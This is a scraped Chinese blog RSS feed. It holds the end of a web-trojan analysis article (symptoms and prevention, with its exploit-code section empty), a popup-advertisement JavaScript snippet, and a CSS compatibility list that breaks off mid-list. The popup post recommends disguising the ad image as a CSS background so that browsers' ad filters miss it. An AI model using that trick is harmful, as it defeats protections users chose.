<p>4.Microsoft Internet Explorer浏览器弹出窗口Object类型验证漏洞的利用</p>
<p>常见攻击代码：</p>
<p>&nbsp;<wbr></p>
<p>&nbsp;<wbr></p>
<p>----- code cut start for run.asp -----<br />
----- code cut end for run.asp -----</p>
<p>七、网页木马运行后特征分析</p>
<p>1.系统的默认主页被更改，并且IE工具栏内的修改功能被屏蔽掉;</p>
<p>2.在系统的桌面上无故出现陌生网站的链接，无论怎么删除，每次开机都依旧会出现，如果单击鼠标右键，出现的工具栏中有也会有大量陌生网站的链接;</p>
<p>3.系统桌面及桌面上的图标被隐藏;</p>
<p>4.注册表编辑器被锁定，从而无法修改注册表;</p>
<p>5.上网之前，系统一切正常，下网之后系统就会出现异常情况，如系统盘丢失、硬盘遭到格式化等;</p>
<p>6.上陌生网站后，出现提示框&#8220;您已经被XX病毒攻击&#8221;，之后系统出现异常;</p>
<p>7.登陆站点后，出现一个窗口迅速打开后又消失的现象，系统文件夹内出现异常文件;</p>
<p>8.系统的进程中出现未知进程，而且无法终止，终止后会自动重新出现;</p>
<p>9.系统CPU占用率高;</p>
<p>10.登陆某站点后，杀毒监控软件报警，并删除病毒文件，位置在IE的缓冲区。重新启动计算机后发现IE默认设置被修改。</p>
<p>11.自动弹出广告;</p>
<p>12.信用卡，QQ帐号丢失等;</p>
<p>八、网页木马的预防</p>
<p>1. 避免浏览包含不健康内容的网页;</p>
<p>2. 由于网页木马是含有害代码的ActiveX网页文件，因此在IE设置中将ActiveX插件和控件、Java脚本等全部禁止。</p>
<p>具体方法是：在IE窗口中点击"工具&#8594;Internet选项，在弹出的对话框中选择"安全"标签，再点 击"自定义级别"按钮，就会弹出"安全设置"对话框，把其中所有ActiveX插件和控件以及Java相关全部选择"禁用"即可。不过，这样在网页浏览过 程中可能会造成一些正常使用ActiveX的网站无法浏览。</p>
<p>3.对Windows 2000和WINDOWS XP用户，还可以通过在服务里，禁用远程注册表操作服务"Remote Registry Service"，来对付该类网页。具体方法是：点击"管理工具&#8594;服务&#8594;Remote Registry Service(允许远程注册表操作)"，禁用即可。</p>
<p>4.升级浏览器到IE6.0并及时安装升级补丁。</p>
<p>5.下载微软最新的Microsoft Windows Script</p>
<p>6. 安装反病毒软件以及防火墙，打开网页监控和脚本监控.</p>
<p>后记：</p>
<p>网页木马，目前的发展方向，是利用操作系统，浏览器存在的溢出漏洞，来下载Trojan- Downloader类木马，达到传播病毒的目的。而网页木马的传播方式，目前，主要是黑客攻击知名网站，在代码中填加恶意脚本，从而达到，利用知名网 站，访问量高的特点，快速传播的目的。网页木马本身的危害巨大，但它带来的最大影响，是可能传播恶性的病毒，造成极大的危害。</p>
<p>通过最近的这些病毒分析，现在越来越多的入侵者采取网页挂马，来达到控制更多的&#8220;肉鸡&#8221;从而达到，靠流 量和贩卖&#8220;肉鸡&#8221;来达到收入最大话，通过网站钓鱼，来捕获受害人的信用卡帐号以及个人隐私，更有甚者进行非法交易，出卖给一些商业间谍等，以后的病毒防范 和研究工作还将继续进行下去，任重而道远。</p>
<p>欢迎大家和我交流，我们一同来打一场反黑反病毒的持久战，同时在这里我还是要感谢安天实验室的全体cert组成员，能全力支持我，配合我来更快更好的完成病毒分析工作，也同样感谢我的两个助手-----王清，王琪，以及诚信网安的全体成员，谢谢你们对我工作的支持和帮助。</p>
<img src ="http://www.cnblogs.com/lemtree/aggbug/1454044.html?type=2" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48000/" target="_blank">数万名网友签名抗议星际争霸2取消局域网功能</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>右下角弹出广告（视频）--绝对可用</title><link>http://www.cnblogs.com/lemtree/articles/1435763.html</link><dc:creator>萧木柯</dc:creator><author>萧木柯</author><pubDate>Tue, 14 Apr 2009 08:46:00 GMT</pubDate><guid>http://www.cnblogs.com/lemtree/articles/1435763.html</guid><wfw:comment>http://www.cnblogs.com/lemtree/comments/1435763.html</wfw:comment><comments>http://www.cnblogs.com/lemtree/articles/1435763.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/lemtree/comments/commentRss/1435763.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/lemtree/services/trackbacks/1435763.html</trackback:ping><description><![CDATA[<p>想做个弹出广告，就是很普通的在右下角弹出，就像QQ的弹出消息框一样。本人特懒，一般都是在网上找代码修改后使用，在百度一搜，遍地都是，但是发现下回来的代码都有一个通病，源代码加了 &#8220;&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;&#8220;以后就无法弹出了，先给出修改后的代码：</p>
<p>&nbsp;</p>
<p>&lt;!--汽车4S店导航网右下角弹出广告--JS代码--&gt;<br />&lt;Script language="javascript"&gt;<br />&lt;!--<br />window.onload = getMsg;<br />window.onresize = resizeDiv;<br />window.onerror = function(){}<br />var divTop,divLeft,divWidth,divHeight,docHeight,docWidth,objTimer,i = 0;<br />function getMsg()<br />{<br />try{<br />divTop = parseInt(document.getElementById("eMeng").style.top,10)<br />divLeft = parseInt(document.getElementById("eMeng").style.left,10)<br />divHeight = parseInt(document.getElementById("eMeng").offsetHeight,10)<br />divWidth = parseInt(document.getElementById("eMeng").offsetWidth,10)<br />docWidth = document.documentElement.clientWidth;<br />docHeight = document.documentElement.clientHeight;<br />document.getElementById("eMeng").style.top = parseInt(document.documentElement.scrollTop,10) + docHeight + 10;// divHeight<br />document.getElementById("eMeng").style.left = parseInt(document.documentElement.scrollLeft,10) + docWidth - divWidth<br />document.getElementById("eMeng").style.visibility="visible"<br />objTimer = window.setInterval("moveDiv()",10)<br />}<br />catch(e){}<br />}</p>
<p>function resizeDiv()<br />{<br />i+=1<br />//if(i&gt;1300) closeDiv() //客户想不用自动消失由用户来自己关闭所以屏蔽这句<br />try{<br />divHeight = parseInt(document.getElementById("eMeng").offsetHeight,10)<br />divWidth = parseInt(document.getElementById("eMeng").offsetWidth,10)<br />docWidth = document.documentElement.clientWidth;<br />docHeight = document.documentElement.clientHeight;<br />document.getElementById("eMeng").style.top = docHeight - divHeight + parseInt(document.documentElement.scrollTop,10);<br />document.getElementById("eMeng").style.left = docWidth - divWidth + parseInt(document.documentElement.scrollLeft,10)<br />}<br />catch(e){}<br />}</p>
<p>function moveDiv()<br />{<br />try<br />{<br />if(parseInt(document.getElementById("eMeng").style.top,10) &lt;= (docHeight - divHeight + parseInt(document.documentElement.scrollTop,10)))<br />{<br />window.clearInterval(objTimer)<br />objTimer = window.setInterval("resizeDiv()",1)<br />}<br />divTop = parseInt(document.getElementById("eMeng").style.top,10)<br />document.getElementById("eMeng").style.top = divTop - 1<br />}<br />catch(e){}<br />}<br />function closeDiv()<br />{<br />document.getElementById('eMeng').innerHTML='';<br />document.getElementById('eMeng').style.visibility='hidden';<br />if(objTimer) window.clearInterval(objTimer)<br />}<br />--&gt;<br />&lt;/Script&gt;<br />&lt;!--汽车4S店导航网右下角弹出广告--JS代码&nbsp; 结束--&gt;<br />&lt;!--汽车4S店导航网右下角弹出广告--广告内容--&gt;<br />&lt;DIV id=eMeng style="BORDER-RIGHT: #455690 1px solid; BORDER-TOP: #a6b4cf 1px solid; Z-INDEX:99999; LEFT: 0px; VISIBILITY: hidden; BORDER-LEFT: #a6b4cf 1px solid; WIDTH: 260px; BORDER-BOTTOM: #455690 1px solid; POSITION: absolute; TOP: 0px; HEIGHT: 198px; "&gt;<br />&lt;TABLE style="BORDER-TOP: #ffffff 1px solid; BORDER-LEFT: #ffffff 1px solid" cellSpacing=0 cellPadding=0 width="100%" bgColor=#AFDCF3 border=0&gt;<br />&lt;TBODY&gt;<br />&lt;TR&gt;<br /><span style="background-color: #99ccff">&lt;TD style="<span style="color: #ff0000"><strong>background-image: url('AD/tamkuang.gif'</strong></span>); padding-right: 1px; padding-bottom: 1px; width:254px; height:194px;" colSpan=2&gt;&lt;/TD&gt;<br /></span>&lt;TD width="25" valign=middle&nbsp; align="center" style="font-weight: normal; font-size: 12px; width:25px;color: #ffffff; padding-left: 2px; padding-top: 10px ;background-color:#FB6413;"&gt;&lt;span style="layout-flow:vertical-ideographic;font-weight:bold;" &gt;汽 车 4S 店 导 航 网&lt;/span&gt;&lt;span title=关闭 style="CURSOR: hand;color:white;font-size:14px;font-weight:bolder;margin-right:1px;" onclick=closeDiv() &gt;X&lt;/span&gt;&lt;/TD&gt;<br />&lt;/TR&gt;<br />&lt;/TBODY&gt;<br />&lt;/TABLE&gt;<br />&lt;/DIV&gt;&lt;!--汽车4S店导航网右下角弹出广告--广告内容---结束--&gt;</p>
<p>值得注意的地方：由于遨游，TheWorld等浏览器有弹窗广告拦截功能，所以代码中红色的地方没直接插入图片，那样会让它们作为广告过滤掉，所以直接将图片做成背景，它识不出来了，可以安全打开，不会被拦截掉。</p>
<p>&nbsp;</p>
<p>&nbsp;</p><img src ="http://www.cnblogs.com/lemtree/aggbug/1435763.html?type=2" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47999/" target="_blank">Silverlight打造杰克逊纪念专题</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>最全面的CSS浏览器兼容问题整理</title><link>http://www.cnblogs.com/lemtree/articles/1430239.html</link><dc:creator>萧木柯</dc:creator><author>萧木柯</author><pubDate>Mon, 06 Apr 2009 05:36:00 GMT</pubDate><guid>http://www.cnblogs.com/lemtree/articles/1430239.html</guid><wfw:comment>http://www.cnblogs.com/lemtree/comments/1430239.html</wfw:comment><comments>http://www.cnblogs.com/lemtree/articles/1430239.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/lemtree/comments/commentRss/1430239.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/lemtree/services/trackbacks/1430239.html</trackback:ping><description><![CDATA[<div class="tit">&nbsp;</div>
<table style="table-layout: fixed">
<tr>
<td>
<div class="cnt" id="blog_text">
<div class="articleTitle">
<div style="display: inline"></div></div>
<div class="articleTag">
<table cellspacing="0" cellpadding="0" width="100%" border="0">
<tr>
<td><font size="3"></font><wbr></wbr></td>
<td valign="top" align="right" width="250"></td></tr></table></div>
<div class="articleContent"><font style="font-size: 20px" size="3">CSS对浏览器的兼容性有时让人很头疼,或许当你了解当中的技巧跟原理,就会觉得也不是难事,从网上收集了IE7,6与Fireofx的兼容性处理方法并整理了一下.对于web2.0的过度,请尽量用xhtml格式写代码,而且DOCTYPE <wbr></wbr>影响 <wbr></wbr>CSS <wbr></wbr>处理,作为W3C的标准,一定要加DOCTYPE声名. <wbr></wbr><wbr></wbr><br /><br /><strong><font style="color: #aa0022">CSS技巧</font></strong><br /><br /><strong>1.div的垂直居中问题</strong><br /><br /><wbr></wbr>vertical-align:middle; <wbr></wbr>将行距增加到和整个DIV一样高 <wbr></wbr>line-height:200px; <wbr></wbr>然后插入文字，就垂直居中了。缺点是要控制内容不要换行 <wbr></wbr><wbr></wbr><br /><br /></font><font style="font-size: 20px"><font size="3"><strong>2. <wbr></wbr>margin加倍的问题<br /></strong><wbr></wbr><wbr></wbr><wbr></wbr><br />设置为float的div在ie下设置的margin会加倍。这是一个ie6都存在的bug。解决方案是在这个div里面加上display:inline; <wbr></wbr><wbr></wbr><wbr></wbr><br />例如： <wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;#div <wbr></wbr>id=&#8221;imfloat&#8221;&gt; <wbr></wbr><wbr></wbr><wbr></wbr><br />相应的css为 <wbr></wbr><wbr></wbr><wbr></wbr><br />#IamFloat{ <wbr></wbr><wbr></wbr><wbr></wbr><br />float:left; <wbr></wbr><wbr></wbr><wbr></wbr><br />margin:5px; <wbr></wbr><wbr></wbr><wbr></wbr><br />display:inline;} <wbr></wbr><wbr></wbr><br /><br /></font></font><font style="font-size: 20px"><font size="3"><strong>3.浮动ie产生的双倍距离<br /></strong><wbr></wbr><wbr></wbr><wbr></wbr><br />#box{ <wbr></wbr>float:left; <wbr></wbr>width:100px; <wbr></wbr>margin:0 <wbr></wbr>0 <wbr></wbr>0 <wbr></wbr>100px; <wbr></wbr>//这种情况之下IE会产生200px的距离 <wbr></wbr>display:inline; <wbr></wbr>//使浮动忽略} <wbr></wbr><wbr></wbr><wbr></wbr><br />这里细说一下block与inline两个元素：block元素的特点是,总是在新行上开始,高度,宽度,行高,边距都可以控制(块元素);Inline元素的特点是,和其他元素在同一行上,不可控制(内嵌元素); <wbr></wbr><wbr></wbr><wbr></wbr><br />#box{ <wbr></wbr>display:block; <wbr></wbr>//可以为内嵌元素模拟为块元素 <wbr></wbr>display:inline; <wbr></wbr>//实现同一行排列的效果 <wbr></wbr>diplay:table; <wbr></wbr><wbr></wbr><wbr></wbr><br /><br /><strong>4 <wbr></wbr>IE与宽度和高度的问题</strong> <wbr></wbr><br /><wbr></wbr><br />IE不认得min-这个定义，但实际上它把正常的width和height当作有min的情况来使。这样问题就大了，如果只用宽度和高度，正常的浏览器里这两个值就不会变，如果只用min-width和min-height的话，IE下面根本等于没有设置宽度和高度。 <wbr></wbr><wbr></wbr><wbr></wbr><br />比如要设置背景图片，这个宽度是比较重要的。要解决这个问题，可以这样： <wbr></wbr><wbr></wbr><wbr></wbr><br />#box{ <wbr></wbr>width: <wbr></wbr>80px; <wbr></wbr>height: <wbr></wbr>35px;}html&gt;body <wbr></wbr>#box{ <wbr></wbr>width: <wbr></wbr>auto; <wbr></wbr>height: <wbr></wbr>auto; <wbr></wbr>min-width: <wbr></wbr>80px; <wbr></wbr>min-height: <wbr></wbr>35px;} <wbr></wbr><wbr></wbr><wbr></wbr><br /><br /></font></font><font style="font-size: 20px"><font size="3"><strong>5.页面的最小宽度<br /></strong><wbr></wbr><wbr></wbr><wbr></wbr><br />min-width是个非常方便的CSS命令，它可以指定元素最小也不能小于某个宽度，这样就能保证排版一直正确。但IE不认得这个，而它实际上把width当做最小宽度来使。为了让这一命令在IE上也能用，可以把一个&lt;div&gt; <wbr></wbr>放到 <wbr></wbr>&lt;body&gt; <wbr></wbr>标签下，然后为div指定一个类,然后CSS这样设计： <wbr></wbr><wbr></wbr><wbr></wbr><br />#container{ <wbr></wbr>min-width: <wbr></wbr>600px; <wbr></wbr>width:expression(document.body.clientWidth <wbr></wbr>&lt; <wbr></wbr>600? <wbr></wbr>"600px": <wbr></wbr>"auto" <wbr></wbr>);} <wbr></wbr><wbr></wbr><wbr></wbr><br />第一个min-width是正常的；但第2行的width使用了Javascript，这只有IE才认得，这也会让你的HTML文档不太正规。它实际上通过Javascript的判断来实现最小宽度。 <wbr></wbr><wbr></wbr><br /><br /><strong>6.DIV浮动IE文本产生3象素的bug</strong> <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />左边对象浮动，右边采用外补丁的左边距来定位，右边对象内的文本会离左边有3px的间距. <wbr></wbr><wbr></wbr><wbr></wbr><br />#box{ <wbr></wbr>float:left; <wbr></wbr>width:800px;} <wbr></wbr><wbr></wbr><br />#left{ <wbr></wbr>float:left; <wbr></wbr>width:50%;} <wbr></wbr><wbr></wbr><br />#right{ <wbr></wbr>width:50%;} <wbr></wbr><wbr></wbr><br />*html <wbr></wbr>#left{ <wbr></wbr>margin-right:-3px; <wbr></wbr>//这句是关键} <wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;div <wbr></wbr>id="box"&gt; <wbr></wbr><wbr></wbr><br /><wbr></wbr>&lt;div <wbr></wbr>id="left"&gt;&lt;/div&gt; <wbr></wbr><wbr></wbr><br /><wbr></wbr>&lt;div <wbr></wbr>id="right"&gt;&lt;/div&gt; <wbr></wbr><wbr></wbr><br />&lt;/div&gt; <wbr></wbr><wbr></wbr><br /><br /><strong>7.IE捉迷藏的问题</strong> <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />当div应用复杂的时候每个栏中又有一些链接，DIV等这个时候容易发生捉迷藏的问题。 <wbr></wbr><wbr></wbr><wbr></wbr><br />有些内容显示不出来，当鼠标选择这个区域是发现内容确实在页面。 <wbr></wbr>解决办法：对#layout使用line-height属性 <wbr></wbr>或者给#layout使用固定高和宽。页面结构尽量简单。 <wbr></wbr><wbr></wbr><br /><br /><strong>8.float的div闭合;清除浮动;自适应高度;</strong> <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />&#9312;例如：&lt;#div <wbr></wbr>id=&#8221;floatA&#8221; <wbr></wbr>&gt;&lt;#div <wbr></wbr>id=&#8221;floatB&#8221; <wbr></wbr>&gt;&lt;#div <wbr></wbr>id=&#8221;NOTfloatC&#8221; <wbr></wbr>&gt;这里的NOTfloatC并不希望继续平移，而是希望往下排。(其中floatA、floatB的属性已经设置为float:left;) <wbr></wbr><wbr></wbr><br />这段代码在IE中毫无问题，问题出在FF。原因是NOTfloatC并非float标签，必须将float标签闭合。在 <wbr></wbr>&lt;#div <wbr></wbr>class=&#8221;floatB&#8221;&gt; <wbr></wbr>&lt;#div <wbr></wbr>class=&#8221;NOTfloatC&#8221;&gt;之间加上 <wbr></wbr>&lt;#div <wbr></wbr>class=&#8221;clear&#8221;&gt;这个div一定要注意位置，而且必须与两个具有float属性的div同级，之间不能存在嵌套关系，否则会产生异常。 <wbr></wbr>并且将clear这种样式定义为为如下即可： <wbr></wbr>.clear{ <wbr></wbr>clear:both;} <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />&#9313;作为外部 <wbr></wbr>wrapper <wbr></wbr>的 <wbr></wbr>div <wbr></wbr>不要定死高度,为了让高度能自动适应，要在wrapper里面加上overflow:hidden; <wbr></wbr>当包含float的box的时候，高度自动适应在IE下无效，这时候应该触发IE的layout私有属性(万恶的IE啊！)用zoom:1;可以做到，这样就达到了兼容。 <wbr></wbr><wbr></wbr><br />例如某一个wrapper如下定义： <wbr></wbr><wbr></wbr><wbr></wbr><br />.colwrapper{ <wbr></wbr>overflow:hidden; <wbr></wbr>zoom:1; <wbr></wbr>margin:5px <wbr></wbr>auto;} <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />&#9314;对于排版,我们用得最多的css描述可能就是float:left.有的时候我们需要在n栏的float <wbr></wbr>div后面做一个统一的背景,譬如: <wbr></wbr><wbr></wbr><br />&lt;div <wbr></wbr>id=&#8221;page&#8221;&gt; <wbr></wbr><wbr></wbr><br /><wbr></wbr>&lt;div <wbr></wbr>id=&#8221;left&#8221;&gt;&lt;/div&gt; <wbr></wbr><wbr></wbr><br /><wbr></wbr>&lt;div <wbr></wbr>id=&#8221;center&#8221;&gt;&lt;/div&gt; <wbr></wbr><wbr></wbr><br /><wbr></wbr>&lt;div <wbr></wbr>id=&#8221;right&#8221;&gt;&lt;/div&gt; <wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;/div&gt; <wbr></wbr><wbr></wbr><br />比如我们要将page的背景设置成蓝色,以达到所有三栏的背景颜色是蓝色的目的,但是我们会发现随着left <wbr></wbr>center <wbr></wbr>right的向下拉长,而page居然保存高度不变,问题来了,原因在于page不是float属性,而我们的page由于要居中,不能设置成float,所以我们应该这样解决 <wbr></wbr><wbr></wbr><br />&lt;div <wbr></wbr>id=&#8221;page&#8221;&gt; <wbr></wbr><wbr></wbr><br /><wbr></wbr>&lt;div <wbr></wbr>id=&#8221;bg&#8221; <wbr></wbr>style=&#8221;float:left;width:100%&#8221;&gt; <wbr></wbr><wbr></wbr><br /><wbr></wbr>&lt;div <wbr></wbr>id=&#8221;left&#8221;&gt;&lt;/div&gt; <wbr></wbr><wbr></wbr><br /><wbr></wbr>&lt;div <wbr></wbr>id=&#8221;center&#8221;&gt;&lt;/div&gt; <wbr></wbr><wbr></wbr><br /><wbr></wbr>&lt;div <wbr></wbr>id=&#8221;right&#8221;&gt;&lt;/div&gt; <wbr></wbr><wbr></wbr><br /><wbr></wbr>&lt;/div&gt; <wbr></wbr><wbr></wbr><br />&lt;/div&gt; <wbr></wbr><wbr></wbr><br />再嵌入一个float <wbr></wbr>left而宽度是100%的DIV解决之 <wbr></wbr><wbr></wbr><br /><br />&#9315;万能float <wbr></wbr>闭合(非常重要!) <wbr></wbr><wbr></wbr><wbr></wbr><br />关于 <wbr></wbr>clear <wbr></wbr>float <wbr></wbr>的原理可参见 <wbr></wbr>[How <wbr></wbr>To <wbr></wbr>Clear <wbr></wbr>Floats <wbr></wbr>Without <wbr></wbr>Structural <wbr></wbr>Markup],将以下代码加入Global <wbr></wbr>CSS <wbr></wbr>中,给需要闭合的div加上 <wbr></wbr>class="clearfix" <wbr></wbr>即可,屡试不爽. <wbr></wbr><wbr></wbr><wbr></wbr><br /><wbr></wbr><wbr></wbr><wbr></wbr><br />.clearfix:after <wbr></wbr>{ <wbr></wbr>content:"."; <wbr></wbr>display:block; <wbr></wbr>height:0; <wbr></wbr>clear:both; <wbr></wbr>visibility:hidden; <wbr></wbr>} <wbr></wbr><wbr></wbr><wbr></wbr><br />.clearfix <wbr></wbr>{ <wbr></wbr>display:inline-block; <wbr></wbr>} <wbr></wbr><wbr></wbr><wbr></wbr><br /><wbr></wbr><wbr></wbr><wbr></wbr><br />.clearfix <wbr></wbr>{display:block;} <wbr></wbr><wbr></wbr><wbr></wbr><br /><wbr></wbr><wbr></wbr><wbr></wbr><br /><wbr></wbr><wbr></wbr><wbr></wbr><br />或者这样设置：.hackbox{ <wbr></wbr>display:table; <wbr></wbr>//将对象作为块元素级的表格显示} <wbr></wbr><wbr></wbr><br /><br /><strong>11.高度不适应</strong> <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />高度不适应是当内层对象的高度发生变化时外层高度不能自动进行调节，特别是当内层对象使用margin <wbr></wbr>或paddign <wbr></wbr>时。 <wbr></wbr><wbr></wbr><wbr></wbr><br />例： <wbr></wbr><wbr></wbr><br />#box <wbr></wbr>{background-color:#eee; <wbr></wbr>} <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br />#box <wbr></wbr>p <wbr></wbr>{margin-top: <wbr></wbr>20px;margin-bottom: <wbr></wbr>20px; <wbr></wbr>text-align:center; <wbr></wbr>} <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;div <wbr></wbr>id="box"&gt; <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;p&gt;p对象中的内容&lt;/p&gt; <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;/div&gt; <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br />解决方法：在P对象上下各加2个空的div对象CSS代码：.1{height:0px;overflow:hidden;}或者为DIV加上border属性。<br /><br /><strong>12 <wbr></wbr>.IE6下为什么图片下有空隙产生</strong><br /><br />解决这个BUG的方法也有很多,可以是改变html的排版,或者设置img <wbr></wbr>为display:block <wbr></wbr>或者设置vertical-align <wbr></wbr>属性为vertical-align:top <wbr></wbr>| <wbr></wbr>bottom <wbr></wbr>|middle <wbr></wbr>|text-bottom 都可以解决. <wbr></wbr><br /><br /><strong>13.如何对齐文本与文本输入框</strong><br /><br />加上 <wbr></wbr>vertical-align:middle;<br />&lt;style <wbr></wbr>type="text/css"&gt;<br />&lt;!--<br />input <wbr></wbr>{<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>width:200px;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>height:30px;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>border:1px <wbr></wbr>solid <wbr></wbr>red;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>vertical-align:middle;<br />}<br />--&gt;<br />&lt;/style&gt;<br /><br /><strong>14.web标准中定义id与class有什么区别吗</strong><br /><br />一.web标准中是不容许重复ID的,比如 <wbr></wbr>div <wbr></wbr>id="aa" <wbr></wbr><wbr></wbr>不容许重复2次,而class <wbr></wbr>定义的是类,理论上可以无限重复, <wbr></wbr>这样需要多次引用的定义便可以使用他.<br /><br />二.属性的优先级问题<br />ID <wbr></wbr>的优先级要高于class,看上面的例子<br /><br />三.方便JS等客户端脚本,如果在页面中要对某个对象进行脚本操作,那么可以给他定义一个ID,否则只能利用遍历页面元素加上指定特定属性来找到它,这是相对浪费时间资源,远远不如一个ID来得简单. <wbr></wbr><br /><br /><strong>15. <wbr></wbr>LI中内容超过长度后以省略号显示的方法</strong><br /><br />此方法适用与IE与OP浏览器<br /><br />&lt;style <wbr></wbr>type="text/css"&gt;<br />&lt;!--<br />li <wbr></wbr>{<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>width:200px;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>white-space:nowrap;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>text-overflow:ellipsis;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>-o-text-overflow:ellipsis;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>overflow: <wbr></wbr>hidden;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>}<br /><br />--&gt;<br />&lt;/style&gt;<br /><br /><strong>16.为什么web标准中IE无法设置滚动条颜色了</strong><br /><br />解决办法是将body换成html<br />&lt;!DOCTYPE <wbr></wbr>html <wbr></wbr>PUBLIC <wbr></wbr>"-//W3C//DTD <wbr></wbr>XHTML <wbr></wbr>1.0 <wbr></wbr>Strict//EN" <wbr></wbr>"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;<br />&lt;meta <wbr></wbr>http-equiv="Content-Type" <wbr></wbr>content="text/html; <wbr></wbr>charset=gb2312" <wbr></wbr>/&gt;<br />&lt;style <wbr></wbr>type="text/css"&gt;<br />&lt;!--<br />html <wbr></wbr>{<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>scrollbar-face-color:#f6f6f6;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>scrollbar-highlight-color:#fff;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>scrollbar-shadow-color:#eeeeee;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>scrollbar-3dlight-color:#eeeeee;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>scrollbar-arrow-color:#000;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>scrollbar-track-color:#fff;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>scrollbar-darkshadow-color:#fff;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>}<br />--&gt;<br />&lt;/style&gt; <wbr></wbr><br /><br /><strong>17.为什么无法定义1px左右高度的容器</strong><br /><br />IE6下这个问题是因为默认的行高造成的,解决的方法也有很多,例如:overflow:hidden <wbr></wbr>| <wbr></wbr>zoom:0.08 <wbr></wbr>| <wbr></wbr>line-height:1px<br /><br /><strong>18.怎么样才能让层显示在FLASH之上呢</strong><br /><br />解决的办法是给FLASH设置透明<br />&lt;param <wbr></wbr>name="wmode" <wbr></wbr>value="transparent" <wbr></wbr>/&gt;<br /><br /><strong>19.怎样使一个层垂直居中于浏览器中</strong><br /><br />这里我们使用百分比绝对定位,与外补丁负值的方法,负值的大小为其自身宽度高度除以二<br />&lt;style <wbr></wbr>type="text/css"&gt;<br />&lt;!--<br />div <wbr></wbr>{<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>position:absolute;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>top:50%;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>lef:50%;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>margin:-100px <wbr></wbr>0 <wbr></wbr>0 <wbr></wbr>-100px;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>width:200px;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>height:200px;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>border:1px <wbr></wbr>solid <wbr></wbr>red;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>}<br />--&gt;<br />&lt;/style&gt; <wbr></wbr><br /><br /><wbr></wbr><wbr></wbr><br /><br /><strong><font style="color: #aa0022">FF与IE</font></strong> <wbr></wbr><wbr></wbr><br /><br /><strong>1. <wbr></wbr>Div居中问题</strong> <wbr></wbr><wbr></wbr><br /><br />div设置 <wbr></wbr>margin-left, <wbr></wbr>margin-right <wbr></wbr>为 <wbr></wbr>auto <wbr></wbr>时已经居中，IE <wbr></wbr>不行，IE需要设定body居中，首先在父级元素定义text-algin: <wbr></wbr>center;这个的意思就是在父级元素内的内容居中。 <wbr></wbr><wbr></wbr><wbr></wbr><br /><br /><strong>2.链接(a标签)的边框与背景</strong> 